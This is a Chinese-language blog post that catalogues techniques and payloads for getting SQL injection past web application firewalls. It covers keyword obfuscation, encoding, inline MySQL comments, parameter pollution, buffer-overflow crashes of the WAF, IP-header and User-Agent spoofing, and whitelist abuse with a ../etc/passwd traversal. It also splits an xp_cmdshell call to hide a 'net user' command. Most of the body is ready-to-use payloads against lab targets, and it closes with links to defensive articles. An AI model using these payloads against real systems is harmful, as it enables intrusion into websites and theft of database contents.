SQL注入-WAF绕过

本文涉及的产品
RDS MySQL Serverless 基础系列,0.5-2RCU 50GB
云数据库 RDS MySQL,集群系列 2核4GB
推荐场景:
搭建个人博客
Web应用防火墙 3.0,每月20元额度 3个月
简介: SQL注入-WAF绕过

大部分绕过方式

大小写/关键字替换
id=1 UnIoN/**/SeLeCT 1,user()
Hex() bin() 等价于ascii()
Sleep() 等价于 benchmark()
Mid()substring() 等价于 substr()
@@user 等价于 User()
@@Version 等价于 version()
各种编码
大小写,URL,hex,%0A等
注释使用
// -- --+ # /**/ + :%00 /!**/等
再次循环
union==uunionnion
等价替换
user()=@@user() and=& or=| ascii=hex等
参数污染
?id=1&id=2&id=3
编码解码及加密解密
s->%73->%25%37%33
hex,unlcode,base64等
更改请求提交方式
GET POST COOKIE等
POST->multipart/form-data
中间件HPP参数污染

靶机提前安装安全狗

大小写绕过/双重写绕过 比较渣渣的waf 可以使用大小写

http://10.4.7.100/sqli/Less-2/index.php?id=1 and 1=1

http://10.4.7.100/sqli/Less-4/index.php?id=1 And 1=1

base64加密绕过

http://10.4.7.100/sqli/Less-4/index.php?id=1 QW5kIDE9MQ==


640.png

编码绕过

http://10.4.7.100/sqli/Less-4/index.php?id=1 0x416e6420313d31

640.png

十六进制编码

Unicode编码

URL编码

等价函数

1.函数或变量
hex()、bin() ==> ascii()
sleep() ==>benchmark()
concat_ws()==>group_concat()
mid()、substr() ==> substring()
@@user ==> user()
@@datadir ==> datadir()
举例:substring()和substr()无法使用时:?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74 
或者:substr((select 'password'),1,1) = 0x70
   strcmp(left('password',1), 0x69) = 1
     strcmp(left('password',1), 0x70) = 0
   strcmp(left('password',1), 0x71) = -1

特殊符号

1.使用反引号`,例如select `version()`,可以用来过空格和正则,特殊情况下还可以将其做注释符用
2.神奇的"-+.",select+id-1+1.from users; “+”是用于字符串连接的,”-”和”.”在此也用于连接,可以逃过空格和关键字过滤
3.@符号,select@^1.from users; @用于变量定义如**@****var_name**,一个@表示用户定义,@@表示系统变量
4.Mysql function() as xxx 也可不用as和空格   select-count(id)test from users;  //绕过空格限制
`、~、!、@、%、()、[]、.、-、+ 、|、%00
举例:
关键字拆分:‘se’+’lec’+’t’
      %S%E%L%E%C%T 1
          1.aspx?id=1;EXEC(‘ma’+'ster..x’+'p_cm’+'dsh’+'ell ”net user”’)
 !和():' or --+2=- -!!!'2
 id=1+(UnI)(oN)+(SeL)(EcT) //另 Access中,”[]”用于表和列,”()”用于数值也可以做分隔

注释符混用

//, -- , /**/, #, --+,--  -, ;,--a
1.普通注释
举例:z.com/index.php?page_id=-15 %55nION/**/%53ElecT 1,2,3,4   
   'union%a0select pass from users#
/**/在构造得查询语句中插入注释,规避对空格的依赖或关键字识别;#、--+用于终结语句的查询
2.内联注释
相比普通注释,内联注释用的更多,它有一个特性/!**/只有MySQL能识别
举例:index.php?page_id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3
?id=null%0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/+1,2
# 部分bypass sqlinject payload
id=1 union/*%00*/%23a%0A/*!/*!select 1,2,3*/;%23
id=-1 union/*%00*/%23a%0A/*!/*!select%201,database%23x%0A(),3*/;%23
id=-1%20union%20/*!44509select*/%201,2,3%23
id=-1%20union%20/*!44509select*/%201,%23x%0A/*!database*/(),3%23
id=-1 %20union%20all%23%0a%20select%201,2,3%23
-1 %20union%20all%23%0a%20select%201,%230%0Adatabase/**/(),3%23

更改提交方式

GET  POST REQUEST

640.png

分隔重写绕过

通过注释分开敏感字,这样WAF的正则不起作用了,而带入查询的时候并不影响我们的结果

?id=1+un//ion+sel//ect+1,2,3--+

HTTP参数污染

假设这个URL:http://www.xxxx.com/search.php?id=110&id=911

百度会理解成让百度搜索:110 #选择了第一个参数,放弃了第二个参数。

雅虎会理解成让雅虎搜索:911 #选择了第二个参数,放弃了第一个参数。

谷歌会理解成让谷歌搜索:110 911 #两个参数同时选择。

    <? php
    $x=$_GET['x'];
    echo $x;
    ?>

    • 640.png
    # 绕过
    id=1/**&id=-1%20union%20select%201,2,3%23*/
    # 正常写法
    id=1&id=-1 union select 1,2,3#

    缓冲区溢出

    缓冲区溢出是一种非常普遍、非常危险的漏洞,在各种操作系统、应用软件中广泛存在。利用缓冲区溢出攻击,可以导致程序运行失败、系统宕机、重新启动等后果。更为严重的是,可以利用它执行非授权指令,甚至可以取得系统特权,进而进行各种非法操作

    大部分防火墙都是基于C/C++开发的,我们可以使用缓冲区溢出使用WAF崩溃

      ?id=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAAAAA)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26--+

      数据库特性

      #数据库特性
      1、Mysql技巧
      (1)mysql注释符有三种:#、/*...*/、--  ... (注意--后面有一个空格)
      (2)空格符:[0x09,0x0a-0x0d,0x20,0xa0]
      (3)特殊符号:%a 换行符
         可结合注释符使用%23%0a,%2d%2d%0a。
      (3)内联注释:
         /*!UnIon12345SelEcT*/ 1,user()   //数字范围 1000-50540
      (4)mysql黑魔法
         select{x username}from {x11 test.admin};
      2、SQL Server技巧
      (1)用来注释掉注射后查询的其余部分:
          /*      C语言风格注释
          --      SQL注释
          ; 00% 空字节
      (2)空白符:[0x01-0x20]
      (3)特殊符号:%3a 冒号
           id=1 union:select 1,2 from:admin
      (4)函数变形:如db_name[空白字符]()
      3、Oracle技巧
      (1)注释符:--、/**/
      (2)空白字符:[0x00,0x09,0x0a-0x0d,0x20]
      4.配合FUZZ
      select * from admin where id=1【位置一】union【位置二】select【位置三】1,2,db_name()【位置四】from【位置五】admin
      逻辑层
      1、逻辑问题
      (1)云waf防护,一般我们会尝试通过查找站点的真实IP,从而绕过CDN防护。
      (2)当提交GET、POST同时请求时,进入POST逻辑,而忽略了GET请求的有害参数输入,可尝试Bypass。
      (3)HTTP和HTTPS同时开放服务,没有做HTTP到HTTPS的强制跳转,导致HTTPS有WAF防护,HTTP没有防护,直接访问HTTP站点绕过防护。
      (4)特殊符号%00,部分waf遇到%00截断,只能获取到前面的参数,无法获取到后面的有害参数输入,从而导致Bypass。比如:id=1%00and 1=2 union select 1,2,column_name from information_schema.columns
      2、性能问题
      猜想1:在设计WAF系统时,考虑自身性能问题,当数据量达到一定层级,不检测这部分数据。只要不断的填充数据,当数据达到一定数目之后,恶意代码就不会被检测了。
      猜想2:不少WAF是C语言写的,而C语言自身没有缓冲区保护机制,因此如果WAF在处理测试向量时超出了其缓冲区长度就会引发bug,从而实现绕过。
      例子1:
      ?id=1 and (select 1)=(Select 0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9
      PS:0xA*1000指0xA后面”A"重复1000次,一般来说对应用软件构成缓冲区溢出都需要较大的测试长度,这里1000只做参考也许在有些情况下可能不需要这么长也能溢出。
      例子2:
      ?a0=0&a1=1&.....&a100=100&id=1 union select 1,schema_name,3 from INFORMATION_SCHEMA.schemata
      备注:获取请求参数,只获取前100个参数,第101个参数并没有获取到,导致SQL注入绕过。
      3、白名单
      方式一:IP白名单
      从网络层获取的ip,这种一般伪造不来,如果是获取客户端的IP,这样就可能存在伪造IP绕过的情况。
      测试方法:修改http的header来bypass waf
      X-forwarded-for
      X-remote-IP
      X-originating-IP
      x-remote-addr
      X-Real-ip
      方式二:静态资源
      特定的静态资源后缀请求,常见的静态文件(.js .jpg .swf .css等等),类似白名单机制,waf为了检测效率,不去检测这样一些静态文件名后缀的请求。
      http://10.9.9.201/sql.php?id=1
      http://10.9.9.201/sql.php/1.js?id=1
      备注:Aspx/php只识别到前面的.aspx/.php 后面基本不识别
      方式三:url白名单
      为了防止误拦,部分waf内置默认的白名单列表,如admin/manager/system等管理后台。只要url中存在白名单的字符串,就作为白名单不进行检测。常见的url构造姿势:
      http://10.9.9.201/sql.php/admin.php?id=1
      http://10.9.9.201/sql.php?a=/manage/&b=../etc/passwd
      http://10.9.9.201/../../../manage/../sql.asp?id=2
      waf通过/manage/“进行比较,只要uri中存在/manage/就作为白名单不进行检测,这样我们可以通过/sql.php?a=/manage/&b=../etc/passwd 绕过防御规则。
      方式四:爬虫白名单
      部分waf有提供爬虫白名单的功能,识别爬虫的技术一般有两种:
      1、 根据UserAgent  2、通过行为来判断
      UserAgent可以很容易欺骗,我们可以伪装成爬虫尝试绕过。
      User Agent Switcher (Firefox 附加组件),下载地址:
      https://addons.mozilla.org/en-US/firefox/addon/user-agent-switcher


      相关文章
      |
      3月前
      |
      SQL 安全 数据库
      惊!Python Web安全黑洞大曝光:SQL注入、XSS、CSRF,你中招了吗?
      在数字化时代,Web应用的安全性至关重要。许多Python开发者在追求功能时,常忽视SQL注入、XSS和CSRF等安全威胁。本文将深入剖析这些风险并提供最佳实践:使用参数化查询预防SQL注入;通过HTML转义阻止XSS攻击;在表单中加入CSRF令牌增强安全性。遵循这些方法,可有效提升Web应用的安全防护水平,保护用户数据与隐私。安全需持续关注与改进,每个细节都至关重要。
      135 5
      |
      3月前
      |
      SQL 安全 数据库
      深度揭秘:Python Web安全攻防战,SQL注入、XSS、CSRF一网打尽!
      在Web开发领域,Python虽强大灵活,却也面临着SQL注入、XSS与CSRF等安全威胁。本文将剖析这些常见攻击手段,并提供示例代码,展示如何利用参数化查询、HTML转义及CSRF令牌等技术构建坚固防线,确保Python Web应用的安全性。安全之路永无止境,唯有不断改进方能应对挑战。
      72 5
      |
      3月前
      |
      SQL 安全 数据安全/隐私保护
      Python Web安全大挑战:面对SQL注入、XSS、CSRF,你准备好了吗?
      在构建Python Web应用时,安全性至关重要。本文通过三个真实案例,探讨了如何防范SQL注入、XSS和CSRF攻击。首先,通过参数化查询替代字符串拼接,防止SQL注入;其次,利用HTML转义机制,避免XSS攻击;最后,采用CSRF令牌验证,保护用户免受CSRF攻击。这些策略能显著增强应用的安全性,帮助开发者应对复杂的网络威胁。安全是一个持续的过程,需不断学习新知识以抵御不断变化的威胁。
      123 1
      |
      3月前
      |
      SQL 安全 数据库
      Python Web开发者必看!SQL注入、XSS、CSRF全面解析,守护你的网站安全!
      在Python Web开发中,构建安全应用至关重要。本文通过问答形式,详细解析了三种常见Web安全威胁——SQL注入、XSS和CSRF,并提供了实用的防御策略及示例代码。针对SQL注入,建议使用参数化查询;对于XSS,需对输出进行HTML编码;而防范CSRF,则应利用CSRF令牌。通过这些措施,帮助开发者有效提升应用安全性,确保网站稳定运行。
      48 1
      |
      3月前
      |
      SQL 安全 数据库
      深度揭秘:Python Web安全攻防战,SQL注入、XSS、CSRF一网打尽!
      在Web开发领域,Python虽强大灵活,但安全挑战不容小觑。本文剖析Python Web应用中的三大安全威胁:SQL注入、XSS及CSRF,并提供防御策略。通过示例代码展示如何利用参数化查询、HTML转义与CSRF令牌构建安全防线,助您打造更安全的应用。安全是一场持久战,需不断改进优化。
      52 3
      |
      3月前
      |
      SQL 安全 数据库
      从入门到精通:Python Web安全守护指南,SQL注入、XSS、CSRF全防御!
      【9月更文挑战第13天】在开发Python Web应用时,安全性至关重要。本文通过问答形式,详细介绍如何防范SQL注入、XSS及CSRF等常见威胁。通过使用参数化查询、HTML转义和CSRF令牌等技术,确保应用安全。附带示例代码,帮助读者从入门到精通Python Web安全。
      93 6
      |
      3月前
      |
      SQL 安全 JavaScript
      告别Web安全小白!Python实战指南:抵御SQL注入、XSS、CSRF的秘密武器!
      【9月更文挑战第12天】在Web开发中,安全漏洞如同暗礁,尤其对初学者而言,SQL注入、跨站脚本(XSS)和跨站请求伪造(CSRF)是常见挑战。本文通过实战案例,展示如何利用Python应对这些威胁。首先,通过参数化查询防止SQL注入;其次,借助Jinja2模板引擎自动转义机制抵御XSS攻击;最后,使用Flask-WTF库生成和验证CSRF令牌,确保转账功能安全。掌握这些技巧,助你构建更安全的Web应用。
      52 5
      |
      5月前
      |
      SQL 安全 数据库
      深度揭秘:Python Web安全攻防战,SQL注入、XSS、CSRF一网打尽!
      【7月更文挑战第27天】在 Web 开发中,Python 面临着如 SQL 注入、XSS 和 CSRF 等安全威胁。
      71 0
      |
      5月前
      |
      SQL 安全 数据库
      Python Web开发者必看!SQL注入、XSS、CSRF全面解析,守护你的网站安全!
      【7月更文挑战第27天】在 Python Web 开发中, 安全至关重要。
      71 0
      |
      5月前
      |
      SQL 安全 JavaScript
      告别Web安全小白!Python实战指南:抵御SQL注入、XSS、CSRF的秘密武器!
      【7月更文挑战第27天】在 Web 开发中,安全漏洞如同暗礁,其中 SQL 注入、XSS 和 CSRF 尤为棘手。本文通过实战案例展示如何使用 Python 抵御这些威胁。
      65 0